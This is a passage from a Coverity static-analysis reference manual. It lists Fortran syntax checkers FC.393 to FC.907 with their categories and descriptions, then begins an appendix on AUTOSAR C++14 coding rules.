FC.393	Syntax error	missing ENDIF('s)
FC.394	Syntax error	THEN missing
FC.395	Syntax error	invalid sequence of ELSEIF and ELSE
FC.397	Syntax error	more than one ELSE at this IF level
FC.398	Syntax error	invalid DO loop incrementation parameter
FC.399	Syntax error	invalid implied-DO specification

**Table 7.3. Coverity Fortran Syntax Analysis Checkers (400-599)**

<b>Name</b>	<b>Category</b>	<b>Description</b>
FC.400	Syntax error	invalid DO-loop specification
FC.401	Syntax error	terminal statement of loop at invalid IF level
FC.402	Syntax error	invalid terminal statement of DO construct
FC.403	Syntax error	invalid transfer of control into construct
FC.404	Syntax error	referenced from outside construct
FC.405	Syntax error	redefinition of DO variable or FORALL index within construct
FC.406	Information	no action statements in previous construct or construct block
FC.407	Syntax error	terminal statement of DO construct out of order
FC.408	Syntax error	missing terminal statement of DO construct
FC.409	Syntax error	missing END LOOP or UNTIL

Coverity Fortran Syntax Analysis Checker Reference

<b>Name</b>	<b>Category</b>	<b>Description</b>
FC.410	Syntax error	missing END WHILE or UNTIL
FC.411	Syntax error	too many END DO's, END LOOP's, or END WHILE's
FC.412	Syntax error	terminal statement of DO construct at invalid CASE level
FC.413	Code improvement	shared DO termination
FC.414	Syntax error	Incorrect usage of RANK(*) in SELECT RANK construct
FC.415	Syntax error	too many END BLOCKS
FC.416	Syntax error	missing END BLOCK ('s)
FC.418	Syntax error	type inconsistent with SELECT CASE expression type
FC.419	Syntax error	kind inconsistent with SELECT CASE expression kind
FC.420	Syntax error	invalid range of values specified
FC.421	Syntax error	overlapping CASE range
FC.422	Syntax error	CASE statement expected after a SELECT CASE statement
FC.423	Syntax error	a CASE statement must be within a CASE construct
FC.424	Syntax error	too many END SELECT's
FC.425	Syntax error	missing END SELECT ('s)
FC.426	Syntax error	only one CASE DEFAULT statement allowed in a CASE construct
FC.427	Syntax error	statement at invalid DO level
FC.428	Syntax error	statement at invalid IF level
FC.429	Syntax error	statement at invalid CASE level
FC.430	Syntax error	invalid statement after WHERE
FC.431	Syntax error	Rank outside range
FC.432	Syntax error	too many END WHERE's
FC.433	Syntax error	an ELSEWHERE must be within a WHERE construct
FC.434	Syntax error	missing END WHERE('s)
FC.435	Syntax error	too many END FORALL's
FC.436	Syntax error	missing END FORALL('s)

Coverity Fortran Syntax Analysis Checker Reference

<b>Name</b>	<b>Category</b>	<b>Description</b>
FC.437	Syntax error	reference of FORALL index in a forall triplet specification list
FC.438	Code improvement	obsolescent terminal statement of DO loop
FC.439	Syntax error	Type already selected in this SELECT TYPE construct
FC.440	Syntax error	too many END ASSOCIATES's
FC.441	Syntax error	statement not allowed within SELECT TYPE construct
FC.442	Syntax error	rank already selected in this SELECT RANK construct
FC.443	Syntax error	RANK, or RANK DEFAULT at invalid SELECT RANK level
FC.444	Syntax error	only one RANK DEFAULT statement allowed in a SELECT RANK construct
FC.445	Syntax error	only one CLASS DEFAULT statement allowed in a SELECT TYPE construct
FC.446	Syntax error	missing output item list
FC.447	Syntax error	invalid input/output list
FC.448	Code improvement	',' not allowed
FC.449	Syntax error	invalid usage of parentheses
FC.450	Syntax error	invalid reference of standard unit
FC.451	Syntax error	list directed I/O not allowed
FC.452	Syntax error	sequential formatted access expected
FC.453	Syntax error	invalid reference of internal file
FC.454	Syntax error	possible recursive I/O attempt
FC.455	Unsupported	unrecognized or unsupported specifier
FC.456	Unsupported	nonstandard Fortran specifier
FC.457	Syntax error	more than once specified
FC.458	Syntax error	invalid usage of specifier
FC.459	Syntax error	no unit specified
FC.460	Syntax error	no unit or filename specified
FC.461	Syntax error	unit and filename specified

Coverity Fortran Syntax Analysis Checker Reference

<b>Name</b>	<b>Category</b>	<b>Description</b>
FC.462	Syntax error	invalid or missing io-unit identifier
FC.463	Syntax error	missing or invalid format specifier
FC.464	Code improvement	missing delimiter in format specification
FC.465	Syntax error	statement label expected
FC.466	Syntax error	more than once in OPEN, CLOSE, or INQUIRE list
FC.467	Syntax error	'FMT=' or 'NML=' expected
FC.468	Syntax error	'END=' only allowed in a sequential READ or WAIT statement
FC.469	Syntax error	'FILE=' not allowed for a scratch file
FC.470	Syntax error	'RECL=' only allowed for a direct access file
FC.471	Syntax error	'BLANK=' only allowed for a formatted file
FC.472	Syntax error	'ADVANCE=' only allowed for external formatted sequential i/o
FC.473	Syntax error	'EOR=' only allowed in READ with 'ADVANCE=NO' or WAIT
FC.474	Syntax error	no recordsize specified
FC.475	Syntax error	'SIZE=' only allowed in READ with 'ADVANCE=NO'
FC.476	Syntax error	must be declared EXTERNAL
FC.477	Syntax error	invalid combination of specifiers
FC.478	Syntax error	invalid usage of namelist name
FC.479	Syntax error	namelist name expected
FC.480	Syntax error	namelist i/o only allowed on an external file
FC.481	Information	extension of previously defined namelist
FC.482	Syntax error	invalid type
FC.483	Unsupported	unrecognized value
FC.484	Syntax error	invalid usage of value
FC.485	Information	nonstandard Fortran value
FC.486	Syntax error	invalid repeat

Coverity Fortran Syntax Analysis Checker Reference

<b>Name</b>	<b>Category</b>	<b>Description</b>
FC.487	Syntax error	missing repeat
FC.488	Syntax error	invalid usage of repeat
FC.489	Syntax error	invalid usage of scale factor
FC.490	Information	nonstandard edit descriptor
FC.491	Syntax error	missing or invalid width
FC.492	Syntax error	invalid edit descriptor
FC.493	Syntax error	external i/o not allowed in a pure procedure
FC.494	Unused entity	namelist unreferenced
FC.495	Information	more than once in namelist group
FC.496	Undefined entity	namelist group undefined
FC.497	Syntax error	stream and async i/o only allowed on ext. files and not on * units
FC.498	Syntax error	namelist i/o only allowed for sequential i/o
FC.499	Syntax error	accompanying subprogram statement missing or incorrect
FC.500	Undefined entity	no main program unit
FC.501	Information	recursive reference
FC.502	Information	possible recursive reference
FC.503	Multiple declaration of entity	more than one main program unit
FC.504	Multiple declaration of entity	more than one unnamed BLOCKDATA
FC.505	Multiple declaration of entity	multiple declaration of BLOCKDATA
FC.506	Multiple declaration of entity	multiple declaration of program unit or entry
FC.507	Multiple declaration of entity	multiple declaration of statement function
FC.508	Code improvement	entries are not disjoint
FC.509	Syntax error	no name specified
FC.510	Multiple declaration of entity	multiple declaration of interface, this one ignored
FC.511	Syntax error	explicit interface required
FC.512	Syntax error	invalid subroutine or function reference

Coverity Fortran Syntax Analysis Checker Reference

<b>Name</b>	<b>Category</b>	<b>Description</b>
FC.513	Incorrect usage of entity	invalid usage of procedure name
FC.514	Syntax error	subroutine/function conflict
FC.515	Syntax error	invalid subprogram type
FC.516	Syntax error	invalid usage of EXTERNAL
FC.517	Syntax error	procedure actual argument must be declared EXTERNAL or INTRINSIC
FC.518	Code improvement	referenced procedure not declared EXTERNAL
FC.519	Information	name of external procedure is same as module procedure name
FC.520	Syntax error	referenced procedure not declared EXTERNAL
FC.521	Syntax error	invalid usage of generic name
FC.522	Syntax error	an interface with (module) procedure statements must be generic
FC.523	Syntax error	procedure already in list of specific procedures of this interface
FC.524	Portability	mixing of subroutines and functions in generic interface not allowed
FC.525	Syntax error	defined operator procedure must be a function
FC.526	Syntax error	defined assignment procedure must be a subroutine
FC.527	Syntax error	no matching intrinsic or specific procedure found
FC.528	Information	no procedure interfaces specified in interface block
FC.529	Syntax error	recursive reference
FC.530	Syntax error	possible recursive reference
FC.531	Information	function is impure
FC.532	Syntax error	type conflict with type of function
FC.533	Syntax error	type length conflict with type length of function

Coverity Fortran Syntax Analysis Checker Reference

<b>Name</b>	<b>Category</b>	<b>Description</b>
FC.534	Syntax error	type of function inconsistent with first occurrence
FC.535	Syntax error	function type length inconsistent with first occurrence
FC.536	Information	function type length inconsistent with first occurrence
FC.537	Syntax error	shape of function reference differs from shape at first reference
FC.538	Syntax error	shape of function reference differs from shape of function result
FC.539	Syntax error	procedure must have private accessibility
FC.540	Syntax error	multiple specification of prefix attribute
FC.541	Syntax error	invalid combination of prefix attributes
FC.542	Syntax error	procedure must be pure
FC.543	Syntax error	invalid usage of prefix specification
FC.544	Syntax error	dummy argument of elemental procedure must be scalar
FC.545	Syntax error	dummy arg. of elemental proc. must not be a pointer or allocatable
FC.546	Syntax error	elemental procedure must be scalar
FC.547	Syntax error	elemental procedure must not be a pointer or allocatable
FC.548	Syntax error	dummy procedure argument not allowed in elemental procedure
FC.549	Code improvement	referenced intrinsic procedure not declared INTRINSIC
FC.550	Syntax error	invalid usage of alternate return
FC.551	Syntax error	invalid dummy argument list
FC.552	Syntax error	invalid usage of arguments
FC.553	Syntax error	invalid usage of dummy argument

Coverity Fortran Syntax Analysis Checker Reference

<b>Name</b>	<b>Category</b>	<b>Description</b>
FC.554	Syntax error	invalid dummy argument
FC.555	Syntax error	more than once in argument list
FC.556	Information	argument unreferenced in statement function
FC.557	Information	dummy argument not used
FC.558	Syntax error	missing argument list
FC.559	Syntax error	argument missing, or no corresponding actual argument found
FC.560	Syntax error	incorrect number of arguments
FC.561	Syntax error	incorrect argument type
FC.562	Syntax error	incorrect argument attributes
FC.563	Syntax error	number of arguments inconsistent with first occurrence
FC.564	Information	number of arguments inconsistent with first occurrence
FC.565	Syntax error	number of arguments inconsistent with specification
FC.566	Syntax error	argument keyword missing in actual argument list
FC.567	Syntax error	argument keyword does not match a dummy argument
FC.568	Syntax error	argument class inconsistent with first occurrence
FC.569	Information	type inconsistent with first occurrence
FC.570	Syntax error	argument class inconsistent with specification
FC.571	Syntax error	argument type inconsistent with first occurrence
FC.572	Code improvement	type inconsistent with first occurrence
FC.573	Syntax error	argument type inconsistent with specification
FC.574	Syntax error	argument type inconsistent with first occurrence (int/log)
FC.575	Syntax error	argument type inconsistent with first occurrence (int/log)

Coverity Fortran Syntax Analysis Checker Reference

<b>Name</b>	<b>Category</b>	<b>Description</b>
FC.576	Syntax error	argument type inconsistent with specification (int/log)
FC.577	Syntax error	argument type inconsistent with first occurrence (int/real)
FC.578	Information	argument type inconsistent with first occurrence (int/real)
FC.579	Syntax error	argument type inconsistent with specification (int/real)
FC.580	Syntax error	argument type length inconsistent with first occurrence
FC.581	Information	type length inconsistent with first occurrence
FC.582	Syntax error	argument type length inconsistent with specification
FC.583	Syntax error	type of function argument inconsistent with first occurrence
FC.584	Information	type of function argument inconsistent with first occurrence
FC.585	Syntax error	argument type kind inconsistent with first occurrence
FC.586	Information	type kind inconsistent with first occurrence
FC.587	Syntax error	type of function argument inconsistent with specification
FC.588	Syntax error	argument type kind inconsistent with specification
FC.589	Syntax error	shape of this argument must be supplied as argument
FC.590	Syntax error	array versus scalar conflict
FC.591	Information	array versus scalar conflict
FC.592	Information	arg. is an array element while it was an array in the previous ref.
FC.593	Information	arg. is an array while it was an array element in the previous ref.
FC.594	Information	the actual argument is an array element while the dummy is an array
FC.595	Information	shape of argument differs from first occurrence

Coverity Fortran Syntax Analysis Checker Reference

<b>Name</b>	<b>Category</b>	<b>Description</b>
FC.596	Syntax error	shape of argument differs from specification
FC.597	Information	shape of argument differs from specification
FC.598	Syntax error	actual array or character variable shorter than dummy
FC.599	Syntax error	array or character length differs from first occurrence

**Table 7.4. Coverity Fortran Syntax Analysis Checkers (600-799)**

<b>Name</b>	<b>Category</b>	<b>Description</b>
FC.600	Syntax error	attributes of argument inconsistent with first occurrence
FC.601	Syntax error	attributes of actual argument inconsistent with specification
FC.602	Syntax error	invalid modification: actual argument is constant or expression
FC.604	Syntax error	invalid modification: the actual argument is an active DO variable
FC.605	Information	possible invalid modification: act.arg. is constant or expression
FC.607	Information	possible invalid modification: actual argument is active DO variable
FC.608	Code improvement	no INTENT specified, specify INTENT(IN) in the referenced subprogram
FC.609	Syntax error	dummy argument must not be OPTIONAL
FC.610	Syntax error	optional dummy argument unconditionally used
FC.611	Syntax error	actual argument is an optional dummy argument, the dummy argument not
FC.612	Syntax error	optional dummy argument expected
FC.613	Syntax error	INTENT not allowed for pointer arguments

Coverity Fortran Syntax Analysis Checker Reference

<b>Name</b>	<b>Category</b>	<b>Description</b>
FC.614	Syntax error	INTENT(IN) required for this dummy argument
FC.615	Syntax error	INTENT(OUT) or INTENT(INOUT) required for this dummy argument
FC.616	Undefined entity	referenced input or input/output argument is not defined
FC.617	Information	conditionally referenced argument is not defined
FC.618	Information	possibly ref. input or input/output argument is possibly not defined
FC.622	Syntax error	dummy function must be specified as entry argument
FC.623	Code improvement	intrinsic procedure is specific
FC.624	Syntax error	conflict with intrinsic-procedure name
FC.625	Portability	nonstandard Fortran intrinsic procedure
FC.626	Syntax error	no intrinsic procedure
FC.627	Syntax error	this intrinsic function is not allowed as actual argument
FC.628	Syntax error	type conflict with intrinsic function of the same name
FC.629	Syntax error	invalid number of arguments for intrinsic procedure
FC.630	Syntax error	invalid argument type for intrinsic procedure
FC.631	Syntax error	invalid argument type length for intrinsic procedure
FC.632	Information	intrinsic function is explicitly typed
FC.633	Syntax error	invalid usage of built-in function
FC.634	Syntax error	invalid modification, variable more than once in statement
FC.635	Information	possible invalid modification:variable more than once in statement
FC.636	Syntax error	INTENT must be specified for this dummy argument

Coverity Fortran Syntax Analysis Checker Reference

<b>Name</b>	<b>Category</b>	<b>Description</b>
FC.637	Syntax error	specific procedure has no unique argument list
FC.638	Syntax error	invalid redefinition of intrinsic operation or assignment
FC.639	Information	type is not the type of the generic intrinsic function
FC.640	Syntax error	generic procedure reference could not uniquely be solved
FC.641	Syntax error	argument must be an allocatable variable
FC.642	Syntax error	argument must have the POINTER attribute
FC.643	Syntax error	argument must have the POINTER or TARGET attribute
FC.644	Unused entity	none of the entities, imported from the module, is used
FC.645	Syntax error	module must not reference itself directly or indirectly
FC.647	Multiple declaration of entity	multiple specification of (sub)module
FC.648	Syntax error	conflict between (sub)module and program unit or entry name
FC.649	Code improvement	module already referenced without only or rename list
FC.650	Syntax error	invalid rename clause
FC.651	Information	already imported from host or same module
FC.652	Multiple declaration of entity	entity imported from more than one module: do not reference
FC.653	Syntax error	entity is not a public entity of the imported module
FC.654	Unused entity	(sub)module unused
FC.665	Code improvement	eq. or ineq. comparison of floating point data with constant
FC.666	Syntax error	undefined operation
FC.667	Undefined entity	undefined: dummy argument not in entry argument list

Coverity Fortran Syntax Analysis Checker Reference

<b>Name</b>	<b>Category</b>	<b>Description</b>
FC.668	Undefined entity	possibly undefined: dummy argument not in entry argument list
FC.669	Code improvement	not locally associated, specify SAVE in the module to retain data
FC.670	Syntax error	actual argument must be a variable
FC.671	Syntax error	variable more than once in actual argument list
FC.672	Syntax error	active DO variable invalid for this actual argument
FC.673	Unused entity	not locally referenced
FC.674	Unused entity	procedure, program unit, or entry not referenced
FC.675	Unused entity	named constant not used
FC.676	Unused entity	none of the objects of the common block is used
FC.677	Unused entity	none of the objects of the common block is referenced
FC.678	Unused entity	None of the entities stored in the library file is used.
FC.679	Unused entity	A common-block object is not used.
FC.680	Unused entity	A common-block object is unreferenced.
FC.681	Unused entity	The named entity is not used.
FC.682	Undefined entity	procedure not defined
FC.683	Undefined entity	common-block object not defined before referenced
FC.684	Undefined entity	common-block object possibly not defined before referenced
FC.685	Unused entity	generic name was not needed to generate a specific procedure
FC.686	Syntax error	conflict with constant name
FC.687	Syntax error	type length must be specified by a constant expression

Coverity Fortran Syntax Analysis Checker Reference

<b>Name</b>	<b>Category</b>	<b>Description</b>
FC.688	Syntax error	implicit characteristics are inconsistent with those in host context
FC.689	Code improvement	type length inconsistent with type length of function
FC.690	Code improvement	type length inconsistent with type length at first reference
FC.691	Code improvement	type length inconsistent with specification
FC.692	Syntax error	result of procedure must be scalar
FC.693	Syntax error	storage association conflict with object with the TARGET attribute
FC.694	Syntax error	explicitness of dummy proc. argument inconsistent with first occurrence
FC.695	Syntax error	no defined assignment supplied for this type
FC.696	Syntax error	entity is not an accessible entity in the host scoping unit
FC.697	Undeclared entity	name not explicitly typed, implicit type assumed
FC.698	Code improvement	implicit conversion to more accurate type
FC.699	Code improvement	implicit conversion of real or complex to integer
FC.700	Undeclared entity	object undeclared
FC.701	Code improvement	type length of element inconsistent with first element
FC.702	Syntax error	scalar default character expression expected
FC.703	Syntax error	a procedure cannot have the POINTER or TARGET attribute
FC.704	Syntax error	more than once in derived-type parameter list
FC.705	Syntax error	the VALUE attribute can not be specified for this object
FC.706	Incorrect usage of entity	a protected object must not be modified outside its module

Coverity Fortran Syntax Analysis Checker Reference

<b>Name</b>	<b>Category</b>	<b>Description</b>
FC.707	Code improvement	module procedure not referenced from outside its module
FC.708	Syntax error	END INTERFACE statement missing
FC.709	Syntax error	source expression not allowed for a typed allocation
FC.710	Syntax error	only one source expression allowed in a sourced allocation
FC.711	Code improvement	declared RECURSIVE but not recursively referenced
FC.712	Syntax error	ancestor or parent (sub)module name missing
FC.713	Syntax error	interface name missing
FC.714	Unused entity	abstract interface not referenced
FC.715	Syntax error	type-bound procedures not allowed in sequence or interoperable type
FC.716	Syntax error	a component cannot have the name of a type parameter
FC.717	Undefined entity	derived-type parameter not specified
FC.718	Syntax error	a CLASS component must be allocatable or a pointer
FC.719	Syntax error	a procedure component must be a pointer
FC.720	Syntax error	no components specified in derived-type definition
FC.721	Syntax error	no type-bound procedures specified
FC.722	Syntax error	external or module procedure expected
FC.723	Undefined entity	type-bound procedure undefined
FC.724	Syntax error	DEFERRED attribute required
FC.725	Syntax error	DEFERRED attribute not allowed
FC.726	Syntax error	component keyword missing in structure-constructor
FC.727	Syntax error	keyword missing in type-param-spec-list

Coverity Fortran Syntax Analysis Checker Reference

<b>Name</b>	<b>Category</b>	<b>Description</b>
FC.728	Syntax error	incorrect, or missing language-binding-spec: BIND(C) expected
FC.729	Syntax error	no enumerators in enumeration
FC.730	Syntax error	END ENUM missing
FC.731	Syntax error	interface name not allowed in this context
FC.732	Syntax error	procedure attributes not allowed in this context
FC.733	Syntax error	delimiter not allowed in this context
FC.734	Syntax error	statement only allowed in a (non separate) interface body
FC.735	Syntax error	explicit or abstract interface required
FC.736	Syntax error	this intrinsic function not allowed as interface name
FC.737	Syntax error	TYPE IS, CLASS IS, or CLASS DEFAULT expected after SELECT TYPE
FC.738	Syntax error	associate name expected
FC.739	Syntax error	association list missing
FC.740	Syntax error	selector missing
FC.741	Syntax error	invalid assignment
FC.742	Syntax error	the selector must be polymorphic
FC.743	Syntax error	passed-object dummy argument not found
FC.744	Syntax error	incorrect number of derived-type parameters
FC.745	Syntax error	invalid argument kind type parameter for intrinsic procedure
FC.746	Code improvement	type kind or length inconsistently specified
FC.747	Syntax error	each element in an array constructor must be of the same kind
FC.748	Code improvement	element kind inconsistent with kind of first element

Coverity Fortran Syntax Analysis Checker Reference

<b>Name</b>	<b>Category</b>	<b>Description</b>
FC.749	Syntax error	mixing of protected and non-protected objects in equivalence
FC.750	Unsupported	unsupported kind type parameter, default assumed
FC.751	Unsupported	unsupported kind, default assumed
FC.752	Unsupported	unsupported character set, default kind assumed
FC.753	Syntax error	each element must have the same kind type parameters
FC.754	Syntax error	no objects to allocate or to deallocate
FC.755	Syntax error	unrecognized keyword
FC.756	Syntax error	type-spec or source-expression required
FC.757	Unused entity	no entities imported from module
FC.758	Syntax error	invalid target for a procedure pointer
FC.759	Syntax error	procedure already in list of final subroutines of this derived type
FC.760	Syntax error	final procedure has no unique argument list
FC.761	Syntax error	type parameter specified more than once or unknown
FC.762	Syntax error	empty parameter list
FC.763	Syntax error	deferred type parameter not allowed
FC.764	Syntax error	assumed-type parameter not allowed
FC.765	Syntax error	each length type parameter must be assumed
FC.766	Syntax error	SEQUENCE type, or BIND attribute not allowed
FC.767	Syntax error	type must be an extension of the selector
FC.768	Syntax error	NOPASS must be specified
FC.769	Syntax error	passed-object argument required.
FC.770	Syntax error	argument must be a data-object

Coverity Fortran Syntax Analysis Checker Reference

<b>Name</b>	<b>Category</b>	<b>Description</b>
FC.771	Syntax error	derived type i/o procedure must be a subroutine
FC.772	Syntax error	type must be abstract
FC.773	Syntax error	argument must be scalar
FC.774	Syntax error	argument must be polymorphic
FC.775	Syntax error	argument must not be polymorphic
FC.776	Syntax error	the accessibility of the generic spec must be the same as originally
FC.777	Code improvement	the accessibility is inconsistently specified
FC.778	Syntax error	types are not compatible
FC.779	Syntax error	a CLASS entity must be dummy, allocatable or a pointer
FC.780	Syntax error	entity is not accessible
FC.781	Syntax error	entity must be interoperable
FC.782	Syntax error	type kind conflict with type kind of function
FC.783	Syntax error	function type kind inconsistent with first occurrence
FC.784	Code improvement	type kind inconsistent with type kind of function
FC.785	Code improvement	type kind inconsistent with type kind at first reference
FC.786	Code improvement	type kind inconsistent with specification
FC.787	Syntax error	invalid usage of abstract type
FC.788	Syntax error	invalid overriding of binding
FC.789	Syntax error	component name not unique
FC.790	Syntax error	component not defined
FC.791	Syntax error	the derived type must be extensible
FC.792	Syntax error	entity cannot be an explicit-shape array
FC.793	Syntax error	INTENT not allowed for nonpointer dummy procedure arguments

Name	Category	Description
FC.794	Syntax error	entity cannot have the POINTER attribute
FC.795	Syntax error	entity cannot have the PROTECTED attribute
FC.796	Syntax error	dummy argument with assumed-type parameter expected
FC.797	Syntax error	dummy argument must not be an elemental procedure
FC.798	Syntax error	invalid specification of shape
FC.799	Syntax error	named language binding not allowed

**Table 7.5. Coverity Fortran Syntax Analysis Checkers (800-907)**

Name	Category	Description
FC.800	Multiple declaration of entity	multiple declaration of procedure
FC.801	Unsupported	derived-type name expected
FC.802	Syntax error	list of type-bound procedures not allowed
FC.803	Syntax error	invalid usage of unlimited format item
FC.804	Syntax error	scalar default integer or character constant expression expected
FC.806	Syntax error	invalid coarray specification
FC.807	Syntax error	argument must not have a polymorphic allocatable component
FC.808	Syntax error	NULL() expected
FC.809	Syntax error	NULL() or procedure name expected
FC.810	Syntax error	TYPE IS, CLASS IS, or CLASS DEFAULT at invalid SELECT TYPE level
FC.811	Syntax error	invalid argument value
FC.812	Unused entity	derived-type component not used
FC.813	Unused entity	derived-type component not referenced
FC.814	Undefined entity	derived-type component not defined

Coverity Fortran Syntax Analysis Checker Reference

---

<b>Name</b>	<b>Category</b>	<b>Description</b>
FC.815	Undefined entity	derived-type component not allocated
FC.816	Undefined entity	derived-type component not associated
FC.817	Syntax error	incorrect type for a coarray
FC.818	Syntax error	cannot extend parent type
FC.819	Syntax error	nonpointer nonallocatable scalar expected
FC.820	Syntax error	array with the POINTER attribute expected
FC.821	Syntax error	target must be contiguous
FC.822	Syntax error	missing coarray specification
FC.823	Syntax error	function result cannot be a coarray
FC.824	Syntax error	type of function result must not have a coarray ultimate component
FC.825	Syntax error	a coarray must be a dummy argument, allocatable, in main, or saved
FC.826	Syntax error	must be a dummy argument or saved
FC.827	Syntax error	deferred-coshape specification not allowed
FC.828	Syntax error	deferred-coshape specification required
FC.829	Syntax error	array pointer, assumed-shape or assumed-rank array expected
FC.830	Syntax error	actual argument must be a contiguous array
FC.831	Syntax error	entity cannot be a coarray
FC.832	Syntax error	type not allowed for an INTENT(OUT) argument
FC.833	Syntax error	a coarray cannot have the POINTER attribute
FC.834	Syntax error	invalid usage of coindex or image selector
FC.835	Syntax error	invalid number of cosubscripts

Coverity Fortran Syntax Analysis Checker Reference

<b>Name</b>	<b>Category</b>	<b>Description</b>
FC.836	Syntax error	missing coshape specification
FC.837	Syntax error	SAVE without entity list invalid in a BLOCK construct
FC.838	Undefined entity	input or input/output argument is not defined
FC.839	Syntax error	invalid usage of coindexed object
FC.840	Syntax error	target has invalid rank
FC.841	Code improvement	module object not used outside the module
FC.842	Syntax error	component must have the POINTER and/or ALLOCATABLE attribute
FC.843	Syntax error	statement not allowed within a CRITICAL or DO CONCURRENT construct
FC.844	Syntax error	no corresponding CRITICAL statement found
FC.845	Syntax error	missing END CRITICAL
FC.846	Syntax error	a coarray cannot not be (de)allocated within this construct
FC.847	Syntax error	invalid transfer of control out of construct
FC.848	Syntax error	invalid list of edit descriptors
FC.849	Syntax error	scalar character constant expression expected
FC.850	Syntax error	ancestor module must not be intrinsic
FC.851	Syntax error	module nature conflict
FC.854	Syntax error	inconsistent attribute
FC.855	Syntax error	inconsistent dummy argument name
FC.856	Syntax error	inconsistent characteristics
FC.857	Information	intrinsic module has the same name as a non-intrinsic module
FC.858	Information	non-intrinsic module has the same name as an intrinsic module

Coverity Fortran Syntax Analysis Checker Reference

<b>Name</b>	<b>Category</b>	<b>Description</b>
FC.859	Unused entity	variable, used as actual argument, unreferenced
FC.860	Syntax error	scalar default character constant expression expected
FC.861	Syntax error	inconsistent BIND(C) attribute or binding label
FC.862	Multiple declaration of entity	binding label is not unique
FC.863	Syntax error	initialization expression expected
FC.864	Syntax error	an assumed-type entity must be a dummy variable
FC.865	Syntax error	an assumed-type variable name can only be used as an actual argument
FC.866	Syntax error	an assumed-rank variable name can only be used as an actual argument
FC.867	Syntax error	assumed-shape or assumed-rank argument expected
FC.868	Syntax error	assumed-rank entity must be a dummy data object
FC.869	Syntax error	invalid usage of procedure pointer
FC.870	Code improvement	dummy argument has no INTENT attribute
FC.871	Syntax error	INTENT(IN) dummy argument must not be modified
FC.872	Syntax error	INTENT(IN) dummy argument pointer must not be modified
FC.873	Undefined entity	INTENT(OUT) dummy argument is not defined
FC.874	Undefined entity	INTENT(OUT) dummy argument pointer is not associated or nullified
FC.875	Code improvement	INTENT(INOUT) dummy argument is not modified in this procedure
FC.876	Code improvement	INTENT(INOUT) pointer association is not modified in this procedure

Coverity Fortran Syntax Analysis Checker Reference

---

<b>Name</b>	<b>Category</b>	<b>Description</b>
FC.877	Code improvement	INTENT(INOUT) dummy argument is defined before referenced
FC.878	Code improvement	INTENT(INOUT) dummy argument pointer is modified before referenced
FC.879	Syntax error	an explicit RESULT variable must be declared for direct recursion.
FC.880	Syntax error	specification expression expected
FC.881	Syntax error	missing END ASSOCIATE('s)
FC.882	Undefined entity	pointer association is not defined
FC.883	Undefined entity	pointer association of one or more component(s) is not defined
FC.885	Syntax error	array element or scalar structure component expected
FC.886	Syntax error	expression in CASE statement not in range of selector
FC.887	Unused entity	array unreferenced
FC.888	Unused entity	array not used
FC.889	Information	shape differs from first occurrence
FC.890	Syntax error	inquired characteristic must be specified in a prior specification
FC.891	Syntax error	USE of ancestor module is not permitted
FC.892	Information	mixing of volatile and non-volatile objects in equivalence
FC.893	Syntax error	invalid modification: actual argument has a vector subscript
FC.894	Syntax error	decimal range of integer must be at least that of default integer
FC.895	Syntax error	'ADVANCE=' specifier not allowed in a DO CONCURRENT construct
FC.896	Syntax error	statement function cannot be of a parameterized derived type
FC.897	Syntax error	ancestor declares no separate module procedures
FC.898	Undefined entity	variable not defined

---

Coverity Fortran Syntax Analysis Checker Reference

---

<b>Name</b>	<b>Category</b>	<b>Description</b>
FC.899	Undefined entity	none of the equivalenced variables of the same type is defined
FC.900	Information	optional dummy argument used without verifying with PRESENT
FC.901	Information	IMPORT already specified
FC.902	Syntax error	assumed-rank array expected in selector of SELECT RANK construct
FC.903	Syntax error	statement only allowed within derived type definition
FC.905	Syntax error	an END TEAM is encountered but no accompanying SELECT TEAM is present
FC.906	Syntax error	there are more SELECT TEAM statements than END TEAMs
FC.907	Syntax error	an internal procedure must not appear in an interface block

---

# Appendix A. AUTOSAR C++14 Standard

## Table of Contents

A.1. Overview ..... 1025

### A.1. Overview

Coverity Analysis can identify violations of the AUTOSAR C++14 rules listed in the following table.

To run an AUTOSAR C++14 analysis, you must pass the `--coding-standard-config` option to `cov-analyze`. See *Coverity Analysis User and Administration Guide* for further guidance.

#### A.1.1. AUTOSAR C++14 Standard

Table A.1. AUTOSAR C++14 Standard

Name	Description	Coverity Checker
A0-1-1	A project shall not contain instances of non-volatile variables being given values that are not subsequently used.	AUTOSAR C++14 A0-1-1
A0-1-2	The value returned by a function having a non-void return type that is not an overloaded operator shall be used.	AUTOSAR C++14 A0-1-2
A0-1-3	Every function defined in an anonymous namespace, or static function with internal linkage, or private member function shall be used.	AUTOSAR C++14 A0-1-3
A0-1-4	There shall be no unused named parameters in non-virtual functions.	AUTOSAR C++14 A0-1-4
A0-1-5	There shall be no unused named parameters in the set of parameters for a virtual function and all the functions that override it.	AUTOSAR C++14 A0-1-5
A0-1-6	There should be no unused type declarations.	AUTOSAR C++14 A0-1-6
A0-4-2	Type long double shall not be used.	AUTOSAR C++14 A0-4-2

AUTOSAR C++14 Standard

Name	Description	Coverity Checker
A0-4-4	Range, domain and pole errors shall be checked when using math functions.	AUTOSAR C++14 A0-4-4
A1-1-1	All code shall conform to ISO/IEC 14882:2014 - Programming Language C++ and shall not use deprecated features.	AUTOSAR C++14 A1-1-1
A2-3-1	Only those characters specified in the C++ Language Standard basic source character set shall be used in the source code.	AUTOSAR C++14 A2-3-1
A2-5-1	Trigraphs shall not be used.	AUTOSAR C++14 A2-5-1
A2-5-2	Digraphs shall not be used.	AUTOSAR C++14 A2-5-2
A2-7-1	The character \ shall not occur as a last character of a C++ comment.	AUTOSAR C++14 A2-7-1
A2-7-2	Sections of code shall not be "commented out".	AUTOSAR C++14 A2-7-2
A2-7-3	All declarations of "user-defined" types, static and non-static data members, functions and methods shall be preceded by documentation.	AUTOSAR C++14 A2-7-3
A2-10-1	An identifier declared in an inner scope shall not hide an identifier declared in an outer scope.	AUTOSAR C++14 A2-10-1
A2-10-4	The identifier name of a non-member object with static storage duration or static function shall not be reused within a namespace.	AUTOSAR C++14 A2-10-4
A2-10-5	An identifier name of a function with static storage duration or a non-member object with external or internal linkage should not be reused.	AUTOSAR C++14 A2-10-5
A2-10-6	A class or enumeration name shall not be hidden by a variable, function or enumerator declaration in the same scope.	AUTOSAR C++14 A2-10-6

AUTOSAR C++14 Standard

<b>Name</b>	<b>Description</b>	<b>Coverity Checker</b>
A2-11-1	Volatile keyword shall not be used.	AUTOSAR C++14 A2-11-1
A2-13-1	Only those escape sequences that are defined in ISO/IEC 14882:2014 shall be used.	AUTOSAR C++14 A2-13-1
A2-13-2	String literals with different encoding prefixes shall not be concatenated.	AUTOSAR C++14 A2-13-2
